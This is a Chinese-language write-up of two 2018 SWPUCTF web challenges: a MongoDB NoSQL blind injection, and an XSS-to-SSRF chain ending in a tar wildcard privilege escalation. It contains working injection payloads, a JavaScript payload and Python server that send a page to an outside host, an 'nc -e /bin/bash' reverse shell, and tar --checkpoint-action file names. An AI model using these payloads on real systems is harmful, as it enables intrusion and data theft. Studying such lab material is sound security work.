2018 SWPUCTF-Web WriteUp

前言

蜜汁啊,这个比赛为啥有这么多神仙

差一道题ak,最后Rank2感觉还行,澜洲学长他们还有二进制选手实在太强了

我太菜了只能水一道简单Web

WP

Injection ???

先说下这道题吧,毕竟是全程一个人写的

当时在做MongoDB开发的时候学了一些NoSQL注入,这次还真的是头一次实战中遇到NoSQL注入

信息收集

首先审查元素存在info.php

SWPUCTF-1

看一下是phpinfo,看到了有MongoDB扩展

SWPUCTF-2

再根据题目名字,毫无疑问NoSQL注入了

注入

尝试payload: username=admin&password[$ne]=\

SWPUCTF-3

提示不是正确密码,那么很显然就是一个NoSQL盲注了

这里就要强烈diss出题人了,为啥不能用个md5截断爆破验证码啊,活生生跑成了人肉脚本,太难受了

用payload:username=admin&password[$regex]=^

去盲注,MongoDB有正则表达式的查询,因此从头开始匹配会比较方便

具体参考这篇文章一个有趣的实例让NoSQL注入不再神秘

手动跑到skmu时,用谷歌自动匹配发现有个推荐结果是skmun,于是懒得继续跑了,直接登陆试试,结果就对了。。。

SWPUCTF-4

似乎很简单,没啥难度,但是没想到是NoSQL注入的话会很难下手

漏洞成因

漏洞成因在这里简单说下吧

PHP再处理用户数据时很方便,但是这种方便会带来隐患

比如GET请求的时候,传数组进去时PHP会自动解析为数组。MongoDB的查询语句中,存在操作符这一概念,而其符号正是PHP的变量符号$,这样就导致了注入。

MongoDB还算挺好用的,但是PHP+MongoDB似乎很少。这个洞真不能怪MongoDB,总觉得PHP应该给这个背锅啊。。

有趣的邮箱注册

这道题肝了好久,没做出来,后来康康真的设计挺巧妙的

信息搜集

存在管理员界面http://118.89.56.208:6324/admin/admin.php

打开提示only localhost allowed!

正常用户界面http://118.89.56.208:6324/check.php为邮箱申请

找了个临时邮箱,发现并不会发邮件

邮箱申请界面存在提示

<?php
if($_POST['email']) {
    $email = $_POST['email'];
    if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
        echo "error email, please check your email";
    } else {
        echo "等待管理员自动审核";
        echo $email;
    }
}

其实到这思路就很明显了,是XSS+SSRF

可惜了一开始我的思路还是对的,但是后来想的复杂了以为是mail函数的漏洞了,然后一直在bypass,绕成了傻逼

XSS

bypass需要看这篇文章https://stackoverflow.com/questions/19220158/php-filter-validate-email-does-not-work-correctly

输入这个可以绕过校验

"<script/**/src=http://ssh2.evi0s.com/233.js></script>"@strange.example.com

然后233.js里面放上xss代码就可以了

这里都是果果学长的代码,(懒得去自己再写了

# encoding:utf-8
# server.py
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
import time
import urllib

PORT_NUMBER = 80
# https://stackoverflow.com/questions/16583827/cors-with-python-basehttpserver-501-unsupported-method-options-in-chrome
#This class will handles any incoming request from
#the browser 
class myHandler(BaseHTTPRequestHandler):

    #Handler for the GET requests
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type','text/html')
        self.end_headers()
        time.sleep(2)
        # Send the html message
        with open("233.js") as f:
            self.wfile.write(f.read())
        return
    def do_OPTIONS(self):
        self.send_response(200, "ok")
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
        self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
        self.send_header("Access-Control-Allow-Headers", "Content-Type")
        self.end_headers()

    def do_POST(self):
        self.send_response(200)
        self.send_header('Content-type','text/html')
        self.end_headers()
        length = self.headers.getheader('content-length');
        nbytes = int(length)
        data = self.rfile.read(nbytes)
        with open("admin.html","w") as f:
            f.write(urllib.unquote(data.lstrip("key=")))
        self.wfile.write("success")
        return

try:
    #Create a web server and define the handler to manage the
    #incoming request
    server = HTTPServer(('', PORT_NUMBER), myHandler)
    print 'Started httpserver on port ' , PORT_NUMBER

    #Wait forever for incoming htto requests
    server.serve_forever()

except KeyboardInterrupt:
    print '^C received, shutting down the web server'
    server.socket.close()
// 233.js
function loadXMLDoc()
{
var xmlhttp;
xmlhttp = new XMLHttpRequest();

xmlhttp.onreadystatechange=function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
    var data = "key="+escape(xmlhttp.responseText);
    var new_xmlhttp = new XMLHttpRequest();
    new_xmlhttp.open("POST","http://ssh2.evi0s.com/success",true);// CORS
    new_xmlhttp.send(data);
    }
  }
 xmlhttp.open("GET","http://localhost:6324/admin/admin.php",true);
// xmlhttp.open("GET","http://localhost:6324/admin/a0a.php?cmd=nc -e /bin/bash 118.184.32.74 4446",true);
xmlhttp.send(); 
}
loadXMLDoc();

然后这里就能看到,admin.php页面是

<br /><a href="admin/a0a.php?cmd=whoami">

那么就是官方留的一个后门了

改一下233.js,弹一个shell

// 233.js
function loadXMLDoc()
{
var xmlhttp;
xmlhttp = new XMLHttpRequest();

xmlhttp.onreadystatechange=function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
    var data = "key="+escape(xmlhttp.responseText);
    var new_xmlhttp = new XMLHttpRequest();
    new_xmlhttp.open("POST","http://ssh2.evi0s.com/success",true);// CORS
    new_xmlhttp.send(data);
    }
  }
 // xmlhttp.open("GET","http://localhost:6324/admin/admin.php",true);
 xmlhttp.open("GET","http://localhost:6324/admin/a0a.php?cmd=nc -e /bin/bash ssh2.evi0s.com 7777",true);
xmlhttp.send();
}
loadXMLDoc();

拿到shell以后,ls一下根目录,发现有flag文件。cat一下发现权限不够

-r-------- 1 flag flag 36 Dec 18 18:14 /flag

蛋疼,这里想到提权。果果学长提示有conn.php存在数据库信息。ps看了一下发现是mysql用户,所以没有办法用UDF提权到root的。甚至试了下脏牛,似乎没用。

然后这里就卡住了,不如看一下nginx.conf。然后发现根目录还有子站,php-fpm解析引擎是flag用户运行的,也就是说要通过子站来读取flag文件的内容。

查看另外一个站的backup.php

<?php
include("upload.php");
echo "上传目录:" . $upload_dir . "<br />";
$sys = "tar -czf z.tar.gz *";
chdir($upload_dir);
system($sys);
if(file_exists('z.tar.gz')){
    echo "上传目录下的所有文件备份成功!<br />";
    echo "备份文件名: z.tar.gz";
}else{
    echo "未上传文件,无法备份!";
}
?>

看了别人的WP才知道,tar有个通配符导致的漏洞,算是学习了一波

还有这篇文章利用通配符实现Linux本地提权

上传三个文件,文件名分别为

flag.sh
--checkpoint-action=exec=sh flag.sh
--checkpoint=1

flag.sh文件内容是

cat /flag | base64

上传完以后备份,触发漏洞

SWPUCTF-5

然后解base64就可以了

总结

又学了一个漏洞2333,还挺好玩的。顺便学了一下UDF提权。

总结

先写两个挖的比较深的题,其他的有空再复现试试看。本地机PHP环境都没有太蛋疼了。。

NoSQL注入拿了一血爽到了2333333

发表评论

发表回复

*

沙发空缺中,还不快抢~